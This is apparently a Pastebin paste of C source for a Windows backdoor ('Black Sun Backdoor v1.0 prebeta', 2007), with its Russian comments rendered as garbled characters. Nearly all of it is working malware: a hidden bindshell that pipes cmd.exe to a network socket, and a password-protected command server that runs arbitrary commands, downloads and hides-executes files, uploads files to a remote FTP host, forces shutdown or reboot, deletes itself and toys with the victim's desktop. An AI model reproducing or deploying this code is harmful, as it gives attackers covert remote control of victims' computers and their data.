Advertisement
FlyFar

src/backdoor.h

May 17th, 2024
548
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 23.06 KB | Cybersecurity | 0 0
  1. /*
  2.  *  ---------------------------------------------------------------------
  3.  *         ____  _            _     _____            
  4.  *        |  _ \| |          | |   / ____|            
  5.  *        | |_) | | __ _  ___| | _| (___  _   _ _ __  
  6.  *        |  _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
  7.  *        | |_) | | (_| | (__|   < ____) | |_| | | | |
  8.  *        |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
  9.  *                 Black Sun Backdoor v1.0 prebeta        
  10.  *
  11.  *                          (x) Cytech 2007
  12.  *
  13.  *  ---------------------------------------------------------------------
  14.  *  [backdoor.h]
  15.  *      Ìîäóëü ñîñòîÿùèé èç ôóíêöèé áýêäîðà (bindshell è ñâîåãî ñåðâåðà).
  16.  *  ---------------------------------------------------------------------
  17.  */
  18.  
  19.  // ------------------ [ îòñûëêà äàííûõ êëèåíòó ] ------------------ //
  20.  
  21. static DWORD WINAPI ClientSend(char *Data, SOCKET zsock)
  22. {
  23.     send(zsock, Data, lstrlen(Data),0);
  24.     closesocket(zsock);
  25.     fZeroMemory (&Data, sizeof(Data));
  26.     return 0;
  27. }
  28.  
  29. // ------------------ [ bindshell áýêäîð ] ------------------ //
  30.  
  31. // ýòè äâå ô-èè ÿ ïîçàèìñòâîâàë ó el-//0x48k èç el-small-backdoor. ñòàðûé êîä çàêîììåíòèðîâàí,
  32. // ò.ê îí æóòêî ãëþ÷íûé (ðàáîòàåò íî ëó÷øå ýòî íå þçàòü ))), à el êàê âñåãäà îòëè÷èëñÿ
  33. // ñòàáèëüíîñòüþ è ãðàììîòíîé ðåàëèçàöèåé: ìîæíî ðàáîòàòü ïðÿìî ÷åðåç telnet (èçâåñòíî, ÷òî telnet
  34. // ïîñûëàåò âñåãî ïî îäíîìó áàéòó (òî åñòü ñèìâîëó) íà ñîêåò, áýêäîð èõ "ñêëàäûâàåò" äî ïåðåíîñà
  35. // ñòðîêè è òîëüêî ïîòîì âûïîëíÿåò, â ìîåì æå ñëó÷àå telnet íå ïîäõîäèë âîîùáå,
  36. // ïîýòîìó ïðèõîäèëîñü þçàòü òóëçó netcat (win32/nix)). Îò ñåáÿ äîáàâèë òîëüêî ïîëó÷åíèå ïóòè äî
  37. // êîììàíäíîãî èíòåðïðåòàòîðà ÷åðåç ïåðåìåííóþ ñðåäû "ComSpec".
  38. //
  39. // bindshell-backdoor ripped from el-small-backdoor by el- // 0x48k
  40. // el-site.narod.ru || hellknights.void.ru
  41.  
  42. /*
  43. ================
  44. MakeShell
  45. ================
  46. */
  47. static DWORD WINAPI MakeShell( LPVOID lpParam )
  48. {
  49.     DWORD               dwLen;
  50.     int                 nTimeOut;
  51.     int                 iTemp;
  52.     SOCKET              sock;
  53.     HANDLE              cstdin;
  54.     HANDLE              cstdout;
  55.     HANDLE              rstdout;
  56.     HANDLE              wstdin;
  57.     unsigned long       lTotal;
  58.     STARTUPINFO         si;
  59.     SECURITY_ATTRIBUTES sa;
  60.     PROCESS_INFORMATION pi;
  61.     char                szTemp[ MAX_PATH ];
  62.     static DWORD        dwTemp;
  63.     char                cmd[256];
  64.  
  65.     sock = *( ( SOCKET * )lpParam );
  66.     sa.lpSecurityDescriptor     = NULL;
  67.     sa.nLength                  = sizeof( SECURITY_ATTRIBUTES );
  68.     sa.bInheritHandle           = TRUE;
  69.    
  70.     if (!CreatePipe(&cstdin, &wstdin, &sa, 0))
  71.     {
  72.         return 0;
  73.     }
  74.    
  75.     if (!CreatePipe(&rstdout, &cstdout, &sa, 0))
  76.     {
  77.         return 0;
  78.     }
  79.    
  80.     GetStartupInfo(&si);
  81.     si.dwFlags      = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  82.     si.wShowWindow  = SW_HIDE;
  83.     si.hStdOutput   = cstdout;
  84.     si.hStdError    = cstdout;
  85.     si.hStdInput    = cstdin;
  86.  
  87.     GetEnvironmentVariable(COMSPEC, cmd, 256);
  88.  
  89.     if ( !CreateProcess(0, cmd, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &si, &pi ))
  90.     {
  91.         return 0;
  92.     }
  93.    
  94.     while(GetExitCodeProcess(pi.hProcess, &dwTemp) && (dwTemp == STILL_ACTIVE))
  95.     {
  96.         if (nTimeOut >= 10000)
  97.         {
  98.             break;
  99.         }
  100.         if (PeekNamedPipe(rstdout, szTemp, 1, &dwTemp, &lTotal, 0) && dwTemp)
  101.         {
  102.             for (iTemp = 0; iTemp < lTotal; iTemp += MAX_PATH - 1)
  103.             {
  104.                 fMemSet( szTemp, sizeof( szTemp ), 0x00 );
  105.                 ReadFile( rstdout, szTemp, MAX_PATH - 1, &dwTemp, 0 );
  106.                 send( sock, szTemp, dwTemp, 0 );
  107.             }
  108.         }
  109.         if (!ioctlsocket(sock, FIONREAD , &dwTemp) && dwTemp)
  110.         {
  111.             nTimeOut = 0;
  112.             fMemSet(szTemp, sizeof(szTemp), 0x00);
  113.             dwLen = recv(sock, szTemp, 1, 0);
  114.             if (dwLen <= 0)
  115.             {
  116.                 break;
  117.             }
  118.             if (*szTemp == '\x0A')
  119.             {
  120.                 WriteFile(wstdin, "\x0D", 1, &dwTemp, 0);
  121.             }
  122.             WriteFile(wstdin, szTemp, 1, &dwTemp, 0);
  123.         }
  124.         nTimeOut ++;
  125.         Sleep(1);
  126.     }
  127.  
  128.     CloseHandle(cstdin);
  129.     CloseHandle(wstdin);
  130.     CloseHandle(cstdout);
  131.     CloseHandle(rstdout);
  132.     closesocket(sock );
  133.     TerminateProcess(pi.hProcess, 0);
  134.     ExitThread(0);
  135.  
  136.     return 0;
  137. }
  138.  
  139.  
  140. /*
  141. ================
  142. InitShell
  143. ================
  144. */
  145. static DWORD WINAPI InitShell(short port)
  146. {
  147.     DWORD               dwThrId;
  148.     static SOCKET       sock;
  149.     static SOCKET       csock;
  150.     struct sockaddr_in  sin;
  151.  
  152.     sock = socket(AF_INET, SOCK_STREAM, 0);
  153.         if (sock != INVALID_SOCKET)
  154.         {
  155.             sin.sin_family = AF_INET;
  156.             sin.sin_port = htons(port);
  157.             sin.sin_addr.S_un.S_addr = INADDR_ANY;
  158.             fMemSet(&( sin.sin_zero ), 8, 0x00);
  159.             if (bind(sock, (struct sockaddr*) &sin, sizeof(sin)) == 0)
  160.             {
  161.                 if (listen(sock, 0x100) != SOCKET_ERROR)
  162.                 {
  163.                     while((csock = accept(sock, 0, 0)))
  164.                     {
  165.                         CreateThread(0, 0, MakeShell, (LPVOID)&csock, 0, &dwThrId);
  166.                     }
  167.                 }
  168.             }
  169.             closesocket(sock);
  170.         }
  171.     return TRUE;
  172. }
  173.  
  174. /*
  175.  *  ------------
  176.  *  old-code:
  177.  *  ------------
  178.  *  static DWORD WINAPI BackdoorBindCMD(short port)
  179.  *  {
  180.  *      HANDLE Read1,Write1,Read2,Write2;
  181.  *      SOCKET servsock, clientsock;            
  182.  *      SECURITY_ATTRIBUTES secu = {
  183.  *                                   (DWORD) sizeof (SECURITY_ATTRIBUTES),
  184.  *                                    NULL,
  185.  *                                    TRUE
  186.  *                                 };
  187.  *      STARTUPINFO starti;              
  188.  *      PROCESS_INFORMATION pi;          
  189.  *      SOCKADDR_IN sin;                        
  190.  *      // WORD wVersionRequested = MAKEWORD (2,0);
  191.  *      int count =0;
  192.  *  
  193.  *      int err;
  194.  *      char buffer[1024], cmd[256],
  195.  *  
  196.  *      lpNumberOfBytesRead = GetEnvironmentVariable("ComSpec", cmd, 256);
  197.  *     
  198.  *      InitWinSock2API();
  199.  *      // err = WSAStartup(wVersionRequested, &wsadata);
  200.  *  
  201.  *          sin.sin_family = AF_INET;
  202.  *          sin.sin_addr.s_addr=0;
  203.  *          sin.sin_port = htons(port);
  204.  *          err = sizeof (sin);
  205.  *  
  206.  *      servsock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  207.  *      bind (servsock, (struct sockaddr *)&sin, err);    
  208.  *      listen (servsock, SOMAXCONN);  
  209.  *  
  210.  *      clientsock = accept (servsock, (struct sockaddr *)&sin, &err);
  211.  *  
  212.  *      if (clientsock == INVALID_SOCKET)
  213.  *      {
  214.  *          ExitThread (0);
  215.  *      }
  216.  *  
  217.  *      CreatePipe(&Read1,&Write1,&secu,0);  
  218.  *      CreatePipe(&Read2,&Write2,&secu,0);  
  219.  *  
  220.  *      ZeroMemory (&starti,sizeof (starti));
  221.  *      ZeroMemory (&pi,sizeof (pi));
  222.  *  
  223.  *      starti.cb=sizeof (STARTUPINFO);        
  224.  *      starti.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
  225.  *      starti.wShowWindow=SW_HIDE;  
  226.  *      starti.hStdInput=Read2;    
  227.  *      starti.hStdOutput=Write1;
  228.  *      starti.hStdError=Write1;
  229.  *     
  230.  *      err = CreateProcess(NULL,cmd,&secu,&secu,TRUE,0,NULL,NULL,&starti,&pi);
  231.  *  
  232.  *      while (clientsock!=SOCKET_ERROR)
  233.  *      {
  234.  *           Sleep (100);
  235.  *           ZeroMemory (buffer,1024);
  236.  *           PeekNamedPipe(Read1,NULL,0,NULL,&lpNumberOfBytesRead,NULL);
  237.  *       
  238.  *          while (lpNumberOfBytesRead)
  239.  *          {                      
  240.  *              Sleep (200);
  241.  *              err = ReadFile(Read1,buffer,1024,&lpNumberOfBytesRead,NULL);
  242.  *              if (!err) break;
  243.  *              else send (clientsock,buffer,lpNumberOfBytesRead,0);
  244.  *              PeekNamedPipe(Read1,NULL,0,NULL,&lpNumberOfBytesRead,NULL);
  245.  *          }
  246.  *              Sleep (200);
  247.  *              err = recv (clientsock,buffer,1024,0);
  248.  *          if(clientsock == 0)
  249.  *          {
  250.  *              count++;
  251.  *              if (count >1)
  252.  *              break;
  253.  *          }
  254.  *                                 
  255.  *          if (!strstr (buffer,"exit")==0)
  256.  *          {
  257.  *              ExitProcess (0);
  258.  *              closesocket (servsock);
  259.  *              closesocket (clientsock);
  260.  *              break;
  261.  *              return 0;
  262.  *          }
  263.  *          else
  264.  *              WriteFile(Write2,buffer,err,&lpNumberOfBytesRead,0);
  265.  *      }
  266.  *      
  267.  *      TerminateProcess(pi.hProcess,0);
  268.  *      return 0;
  269.  *  }
  270.  */
  271.  
  272. // ------------------ [ ïîëó÷íèå äàííûõ îò êëèåíòà è èõ îáðàáîòêà ] ------------------ //
  273.  
  274. static DWORD WINAPI Backdoor_Recv(LPVOID lpParam)
  275. {
  276.     SOCKET  sock = (SOCKET)lpParam;
  277.     char  recvbuffer[1024];
  278.     int  ret, freq, times, rand1, rand2;
  279.     HANDLE hSelfDeleteThread;
  280.  
  281.             //---- [ ïîëó÷àåì äàííûå îò êëèåíòà ] ----//
  282.     while(1)
  283.     {
  284.     fZeroMemory (&recvbuffer, sizeof(recvbuffer));
  285.  
  286.        ret = recv(sock, recvbuffer, 1024, 0);
  287.        if (ret == SOCKET_ERROR) break;
  288.        else
  289.        {
  290.          if(lstrlen(recvbuffer) > 0)
  291.          {
  292.          
  293.          // ïàðñåð êîìàíä ïî ðàçäåëèòåëþ ""  
  294.          // Âîò ôîðìàò êîìàíäû:
  295.          //
  296.          // [LOGIN:PASSWORD][COMMAND][ARGUMENT1][ARGUMENT2][ARGUMENT3].....
  297.          //
  298.          // Êàê âèäíî ðàçäåëèòåëåì êîìàíä ÿâëÿåòñÿ ñèìâîë .
  299.          // òàì æå âû ìîæåòå èçìåíèòü ðàçäåëèòåëü êîìàíä, åñëè ýòî íåîáõîäèìî (íå çàáóäüòå òîãäà è â admin.php)
  300.          //     [LOGIN:PASSWORD]    --  ëîãèí:ïàðîëü (íàïðèìåð, cytech:cytech, óêàçûâàþòñÿ â conf.h (AUTH))
  301.          //     [COMMAND]           --  êîìàíäà (íàïðèìåð, bindshell)
  302.          //     [ARGUMENT1]         --  1ûé àðãóìåíò êîìàíäû (â ñëó÷àå ñ binshell, íàïðèìåð, 31337)
  303.          // Ê ïðèìåðó, êîìàíäà bindshell 31337 âûãëÿäèò ïðè îòïðàâêå òàê (ëîãèí è ïàðîëü - cytech;cytech):
  304.          //     cytech:cytechbindshell31337
  305.          // Ìîæåòå ñìåëî ïèñàòü êëèåíò :)
  306.  
  307.             char * array[1024];
  308.             char * t = strtok(recvbuffer,"");
  309.             int i; int portint;
  310.             for(i = 0; t; t = strtok(NULL,""), i++){ array[i] = t; }
  311.            
  312.         if (lstrcmp(array[0], AUTH)==0)
  313.         {
  314.  
  315.                //---------------------- [ êîìàíäà: messagebox ] -----------------//
  316.                if (lstrcmp(array[1], "msgbox")==0)
  317.                {
  318.                         char * msg = array[2];
  319.                         char * title = array[3];                       
  320.                         MessageBox(0,msg,title,0);
  321.                         ClientSend(MSG_MSGBOX, sock);
  322.                }
  323.                //---------------------- [ êîìàíäà: about ] -----------------//
  324.                else if(lstrcmp(array[1], "version")==0)
  325.                {
  326.                     ClientSend(VERSION, sock);
  327.                }
  328.                //---------------------- [ êîìàíäà: execute command ] -----------------//
  329.                else if (lstrcmp(array[1], "cmd")==0)
  330.                {
  331.                     char * cmdres = ExecuteCMD(array[2]);
  332.                     ClientSend(cmdres, sock);
  333.                }
  334.                //-----------------------[ êîìàíäà: bindshell?port ]----------------------//
  335.                else if (lstrcmp(array[1], "bindshell")==0)
  336.                {
  337.                     StartThread(InitShell, (short)atoi(array[2]));             
  338.                     ClientSend(MSG_BINDSH, sock);
  339.                }
  340.                //---------------------- [ êîìàíäà: exitprocess ] -----------------//
  341.                else if(lstrcmp(array[1], "exitprocess")==0)
  342.                {
  343.                     ClientSend(MSG_EXITPROC, sock);
  344.                     ExitProcess(0);
  345.                }
  346.                //---------------------- [ êîìàíäà: killmyself ] -----------------//
  347.                else if(lstrcmp(array[1], "killmyself")==0)
  348.                {
  349.                 if(lstrcmp(array[2], AUTH)==0)
  350.                 {
  351.                     ClientSend(MSG_KILLSELF, sock);
  352.                     AddSelfToRun("killmyself");
  353.                     hSelfDeleteThread = StartThread(DeleteSelfFirstTime, "delself");
  354.                     ExitProcess(0);
  355.                 } else { ClientSend(MSG_AUTHFAILED, sock); }
  356.                }
  357.                //---------------------- [ êîìàíäà: download ] -----------------//
  358.                else if (lstrcmp(array[1], "download")==0)
  359.                {
  360.                     __try
  361.                     {
  362.                         HRESULT hUdtf = URLDownloadToFile(NULL, array[2], array[3], 0, NULL);
  363.                         if(hUdtf == S_OK)
  364.                         {
  365.                             ClientSend(MSG_LOADER_OK, sock);
  366.                         }
  367.                         else ClientSend(MSG_LOADER_ERROR, sock);
  368.                     }
  369.                     __except(EXCEPTION_EXECUTE_HANDLER)
  370.                     {
  371.                         ClientSend(MSG_LOADER_SEH, sock);
  372.                     }
  373.                }
  374.                //---------------------- [ êîìàíäà: exec?hide/show ] -----------------//
  375.                else if (lstrcmp(array[1], "exec")==0)
  376.                {
  377.                     if(lstrcmp(array[2], "hide")==0)
  378.                     {
  379.                       if(WinExec(array[3], SW_HIDE) > 32)
  380.                       {
  381.                         ClientSend(MSG_EXECHIDE, sock);
  382.                       }
  383.                       else ClientSend(MSG_EXECERROR, sock);
  384.                     }
  385.                     else if(lstrcmp(array[2], "show")==0)
  386.                     {
  387.                         if(WinExec(array[3], SW_SHOW) > 32)
  388.                         {
  389.                             ClientSend(MSG_EXECSHOW, sock);
  390.                         } else ClientSend(MSG_EXECERROR, sock);
  391.                     }
  392.               }
  393.               //---------------------- [ êîìàíäà: ftp_upload ] -----------------//
  394.               else if (lstrcmp(array[1], "ftp_upload")==0)
  395.               {
  396.                     HINTERNET inet, inet2;
  397.                     BOOL connected;
  398.                     inet = InternetOpen(FTP_UPLOAD_CLIENT, INTERNET_OPEN_TYPE_DIRECT, "", "", 0);
  399.                     portint = atoi(array[3]);
  400.                     inet2 = InternetConnect(inet,array[2],(short)portint,array[4],array[5],INTERNET_SERVICE_FTP, 0,0);
  401.                    
  402.                     if(inet2)
  403.                     {
  404.                         connected = TRUE;
  405.                     }
  406.                     else ClientSend(MSG_CONNECTERROR, sock);
  407.                    
  408.                     if(connected)
  409.                     {
  410.                         FtpPutFile(inet2, array[6],array[7], 0,0);
  411.                         ClientSend(MSG_FTPUPLOAD, sock);
  412.                     }
  413.  
  414.               }
  415.              //---------------------- [  êîìàíäà: power?logoff/shutdown/reboot/sleep/stand ] -----------------//
  416.              else if (lstrcmp(array[1], "power") == 0)
  417.              {
  418.                if (SetPrivilege("SeShutdownPrivilege", TRUE))
  419.                {
  420.          
  421.                   if (lstrcmp(array[2], "logoff")==0)
  422.                   {
  423.                     ExitWindowsEx(EWX_LOGOFF,0);
  424.                     ClientSend(MSG_LOGOFF, sock);
  425.                   }
  426.                   else if (lstrcmp(array[2], "shutdown")==0)
  427.                   {
  428.                     ExitWindowsEx(EWX_SHUTDOWN,0);
  429.                     ClientSend(MSG_SHUTDOWN, sock);
  430.                   }
  431.                   else if (lstrcmp(array[2], "reboot")==0)
  432.                   {
  433.                     ExitWindowsEx(EWX_REBOOT,0);
  434.                     ClientSend(MSG_REBOOT, sock);
  435.                   }
  436.                   else if (lstrcmp(array[2], "stand")==0)
  437.                   {
  438.                     SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_SCREENSAVE,1);
  439.                     ClientSend(MSG_STAND, sock);
  440.                   }
  441.                   else if (lstrcmp(array[2], "sleep")==0)
  442.                   {
  443.                     SetSystemPowerState(TRUE, TRUE);
  444.                     ClientSend(MSG_SLEEP, sock);
  445.                   } else {
  446.                             ClientSend(MSG_UNKNOWNARG, sock);
  447.                          }
  448.                          
  449.                 } else  {
  450.                             ClientSend(MSG_SHUTDOWNPRIV, sock);
  451.                         }
  452.              }
  453.  
  454.               //---------------------- [ êîìàíäà: cdrom?open/close ] -----------------//
  455.               else if (lstrcmp(array[1], "cdrom")==0)
  456.               {
  457.                         if(lstrcmp(array[2], "open")==0)
  458.                         {
  459.                             mciSendString("Set cdaudio door open wait", NULL, 0, NULL);
  460.                             ClientSend(MSG_CDROMOPENED, sock);
  461.                         }
  462.                         else if(lstrcmp(array[2], "close")==0)
  463.                         {
  464.                             mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
  465.                             ClientSend(MSG_CDROMCLOSED, sock);
  466.                         }
  467.                         else ClientSend(MSG_UNKNOWNARG, sock);
  468.               }
  469.               //---------------------- [ êîìàíäà: mouse?swap/unswap ] -----------------//
  470.               else if (lstrcmp(array[1], "mouse")==0)
  471.               {
  472.                         if(lstrcmp(array[2], "swap")==0)
  473.                         {
  474.                             SwapMouseButton(TRUE);
  475.                             ClientSend(MSG_SWAPMOUSE, sock);
  476.                         }
  477.                         else if(lstrcmp(array[2], "unswap")==0)
  478.                         {
  479.                             SwapMouseButton(FALSE);
  480.                             ClientSend(MSG_UNSWAPMOUSE, sock);
  481.                         }
  482.                         else
  483.                         {
  484.                             ClientSend(MSG_UNKNOWNARG, sock);
  485.                         }
  486.               }
  487.               //---------------------- [ êîìàíäà: set_wall_bmp ] -----------------//
  488.               else if (lstrcmp(array[1], "set_wall_bmp")==0)
  489.               {
  490.                         char * PicName = array[2];
  491.                         SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, PicName, SPIF_SENDCHANGE);
  492.                         ClientSend(MSG_WALLPSET, sock);
  493.               }
  494.               //---------------------- [ êîìàíäà: monitor?on/off ] -----------------//
  495.               else if (lstrcmp(array[1], "monitor")==0)
  496.               {
  497.                         if(lstrcmp(array[2], "on")==0)
  498.                         {
  499.                             SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);
  500.                             ClientSend(MSG_MONON, sock);
  501.                         }
  502.                         else if(lstrcmp(array[2], "off")==0)
  503.                         {
  504.                             SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER, 2);
  505.                             ClientSend(MSG_MONOFF, sock);
  506.                         }
  507.                         else ClientSend(MSG_UNKNOWNARG, sock);
  508.               }
  509.               //---------------------- [ êîìàíäà: crazy_mouse ] -----------------//
  510.               else if (lstrcmp(array[1], "crazy_mouse")==0)
  511.               {
  512.                     freq = atoi(array[2]);
  513.                     times = atoi(array[3]);
  514.                     for (i = 0; i < times; i++)
  515.                     {
  516.                         SYSTEMTIME time; GetSystemTime(&time);
  517.                         srand(time.wSecond);
  518.                         rand1 = ((rand() % 1024) + 1);
  519.                         rand2 = ((rand() % 1024) + 1);
  520.                         SetCursorPos(rand1,rand2);
  521.                         Sleep(freq);
  522.                         ClientSend(MSG_DONE, sock);
  523.                     }
  524.                 }
  525.               //---------------------- [ êîìàíäà: keyboard ] -----------------//
  526.               else if (lstrcmp(array[1], "keyboard")==0)
  527.               {
  528.                     if (lstrcmp(array[2], "numlock_on")==0)  
  529.                     {
  530.                         keybd_event(VK_NUMLOCK,0,0,0); keybd_event(VK_NUMLOCK,0,KEYEVENTF_KEYUP,0);
  531.                         ClientSend(MSG_DONE, sock);
  532.                     }
  533.                     else if (lstrcmp(array[2], "numlock_off")==0)
  534.                     {
  535.                         keybd_event(VK_NUMLOCK,0,0,1);
  536.                         keybd_event(VK_NUMLOCK,0,KEYEVENTF_KEYUP,0);
  537.                         ClientSend(MSG_DONE, sock);
  538.                     }
  539.                     else if (lstrcmp(array[2], "capslock_on")==0)
  540.                     {
  541.                         keybd_event(VK_CAPITAL,0,0,0);
  542.                         keybd_event(VK_CAPITAL,0,KEYEVENTF_KEYUP,0);
  543.                         ClientSend(MSG_DONE, sock);
  544.                     }
  545.                     else if (lstrcmp(array[2], "capslock_off")==0)
  546.                     {
  547.                         keybd_event(VK_CAPITAL,0,0,1);
  548.                         keybd_event(VK_CAPITAL,0,KEYEVENTF_KEYUP,0);
  549.                         ClientSend(MSG_DONE, sock);
  550.                     }
  551.                     else if (lstrcmp(array[2], "scrolllock_on")==0)
  552.                     {
  553.                         keybd_event(VK_SCROLL,0,0,0);
  554.                         keybd_event(VK_SCROLL,0,KEYEVENTF_KEYUP,0);
  555.                         ClientSend(MSG_DONE, sock);
  556.                     }
  557.                     else if (lstrcmp(array[2], "scrolllock_off")==0)
  558.                     {
  559.                         keybd_event(VK_SCROLL,0,0,1);
  560.                         keybd_event(VK_SCROLL,0,KEYEVENTF_KEYUP,0);
  561.                         ClientSend(MSG_DONE, sock);
  562.                     } else {
  563.                             ClientSend(MSG_UNKNOWNARG, sock);
  564.                            }
  565.               }
  566.              //---------------------- [ êîìàíäà: funwindows ] -----------------//
  567.              else if (lstrcmp(array[1], "funwindows") == 0)
  568.              {
  569.                 HWND     hWndc1,    hWndc2,     hWndc3,     hWndc4,
  570.                          hWndc5,    hWndc6,     hWndc7,     hWndc8,     hWndc9;
  571.                 // óæàñ :D
  572.                  hWndc1 = FindWindow("Shell_TrayWnd", NULL);
  573.                  hWndc2 = FindWindowEx(hWndc1, NULL, "Button", "start");
  574.                  hWndc3 = FindWindowEx(hWndc2, NULL, "ReBarWindow32", NULL);
  575.                  hWndc4 = FindWindowEx(hWndc3, NULL, "ToolbarWindow32", "Quick Launch");
  576.                  hWndc5 = FindWindowEx(hWndc3, NULL, "MSTaskSwWClass", NULL);
  577.                  hWndc6 = FindWindowEx(hWndc1, NULL, "TrayNotifyWnd", NULL);
  578.                  hWndc7 = FindWindowEx(hWndc6, NULL, "Button", NULL);
  579.                  hWndc8 = FindWindowEx(hWndc6, NULL, "SysPager", NULL);
  580.                  hWndc9 = FindWindowEx(hWndc6, NULL, "TrayClockWClass", NULL);
  581.  
  582.                 if (strcmp(array[2], "hide_panel")==0)
  583.                 { SetWindowStatus(hWndc1, "hide"); ClientSend(MSG_DONE, sock); }
  584.                 else if (lstrcmp(array[2], "show_panel")==0)
  585.                 { SetWindowStatus(hWndc1, "show"); ClientSend(MSG_DONE, sock); }
  586.                 else if (lstrcmp(array[2], "hide_start")==0)
  587.                 { SetWindowStatus(hWndc2, "hide"); ClientSend(MSG_DONE, sock); }
  588.                 else if (lstrcmp(array[2], "show_start")==0)
  589.                 { SetWindowStatus(hWndc2, "show"); ClientSend(MSG_DONE, sock); }
  590.                 else if (lstrcmp(array[2], "hide_rebar")==0)
  591.                 {SetWindowStatus(hWndc3, "hide"); ClientSend(MSG_DONE, sock); }
  592.                 else if (lstrcmp(array[2], "show_rebar")==0)
  593.                 { SetWindowStatus(hWndc3, "show"); ClientSend(MSG_DONE, sock); }
  594.                 else if (lstrcmp(array[2], "hide_quicklaunch")==0)
  595.                 { SetWindowStatus(hWndc4, "hide"); ClientSend(MSG_DONE, sock); }
  596.                 else if (lstrcmp(array[2], "show_quicklaunch")==0)
  597.                 { SetWindowStatus(hWndc4, "show"); ClientSend(MSG_DONE, sock); }
  598.                 else if (lstrcmp(array[2], "hide_tasksw")==0)
  599.                 { SetWindowStatus(hWndc5, "hide"); ClientSend(MSG_DONE, sock); }
  600.                 else if (lstrcmp(array[2], "show_tasksw")==0)
  601.                 { SetWindowStatus(hWndc5, "show"); ClientSend(MSG_DONE, sock); }
  602.                 else if (lstrcmp(array[2], "hide_trey")==0)
  603.                 { SetWindowStatus(hWndc6, "hide"); ClientSend(MSG_DONE, sock); }
  604.                 else if (lstrcmp(array[2], "show_trey")==0)
  605.                 { SetWindowStatus(hWndc6, "show"); ClientSend(MSG_DONE, sock); }
  606.                 else if (lstrcmp(array[2], "hide_treybutton")==0)
  607.                 { SetWindowStatus(hWndc7, "hide"); ClientSend(MSG_DONE, sock); }
  608.                 else if (lstrcmp(array[2], "show_treybutton")==0)
  609.                 { SetWindowStatus(hWndc7, "hide"); ClientSend(MSG_DONE, sock); }
  610.                 else if (lstrcmp(array[2], "hide_treyicon")==0)
  611.                 { SetWindowStatus(hWndc8, "hide"); ClientSend(MSG_DONE, sock); }
  612.                 else if (lstrcmp(array[2], "show_treyicon")==0)
  613.                 { SetWindowStatus(hWndc8, "show"); ClientSend(MSG_DONE, sock); }
  614.                 else if (lstrcmp(array[2], "hide_time")==0)
  615.                 { SetWindowStatus(hWndc9, "hide"); ClientSend(MSG_DONE, sock); }
  616.                 else if (lstrcmp(array[2], "show_time")==0)
  617.                 { SetWindowStatus(hWndc9, "show"); ClientSend(MSG_DONE, sock); }  
  618.                 else    {   ClientSend(MSG_UNKNOWNARG, sock);   }
  619.              }
  620.              /* [ çäåñü ìîæåò áûòü âàøà íîâàÿ êîìàíäà, ïðèìåð: ]
  621.               *
  622.               * else if (lstrcmp(array[1], "command_rtfm") == 0)
  623.              * {
  624.               *   MessageBox(0, array[2], "â array[2] õðàíèòñÿ 1ûé àðãóìåíò êîìàíäû", 0);
  625.               *   ClientSend("\n òåêñò îòñûëàåìûé êëèåíòó \n", sock);
  626.               * }
  627.               * îòðïðàâèâ êîìàíäà command_rtfmcytech
  628.               * âûëåçèò ñîîòâåòñòâóþùèé messagebox.
  629.               */
  630.              
  631.              //---------------------- [ êîìàíäà íå ïîääåðæèâàåòñÿ ] -----------------//
  632.                 else {
  633.                             ClientSend(MSG_UNKNOWNCMD, sock);
  634.                      }  
  635.              //------------------ [ â àâòîðèçàöèè îòêàçàíî ] ----------------//
  636.            } else {
  637.                         ClientSend(MSG_AUTHFAILED, sock);
  638.                   }  
  639.           }
  640.       fZeroMemory (&recvbuffer, sizeof(recvbuffer));
  641.  
  642.       }
  643.     }
  644.     return 0;
  645. }
  646.  
  647. // ------------------ [ ñëóøàåì ïîðò è ïîäêëþ÷àåì êëèåíòà ] ------------------ //
  648.  
  649. static DWORD WINAPI Backdoor_Listen(short port)
  650. {
  651.       SOCKET server, client;
  652.       SOCKADDR_IN localaddr, clientaddr;
  653.       HANDLE hThread;
  654.       int clientSize;
  655.       clientSize = sizeof(clientaddr);
  656.      
  657.       // ñîçäàåì ñîêåò, çàïîëíÿåì ñòðóêòóðó, ñòàâèì íà ïðîñëóøêó. êàê îáû÷íî )
  658.       server = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  659.      
  660.       localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  661.       localaddr.sin_family = AF_INET;
  662.       localaddr.sin_port = htons(port);
  663.      
  664.       bind(server, (struct sockaddr *)&localaddr, sizeof(localaddr));
  665.       listen(server, SOMAXCONN);
  666.  
  667.  
  668.        while(1)
  669.        {
  670.             // åñëè êëèåíò ïîäêëþ÷èëñÿ, òî ñîçäàåì ïîòîê "ïåðåäà÷è óïðàâëåíèÿ" ô-èè Backdoor_Recv
  671.             // (ïîëó÷åíèå äàííûõ îò êëèåíòà è èõ îáðàáîòêà, à òàêæå îâòåò íà íèõ)
  672.            
  673.             client = accept(server, (struct sockaddr *)&clientaddr, &clientSize);
  674.             hThread = StartThread(Backdoor_Recv,(LPVOID)client);
  675.             CloseHandle(hThread);
  676.        }
  677.  
  678.        closesocket(server);
  679.  
  680.   return 0;
  681. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement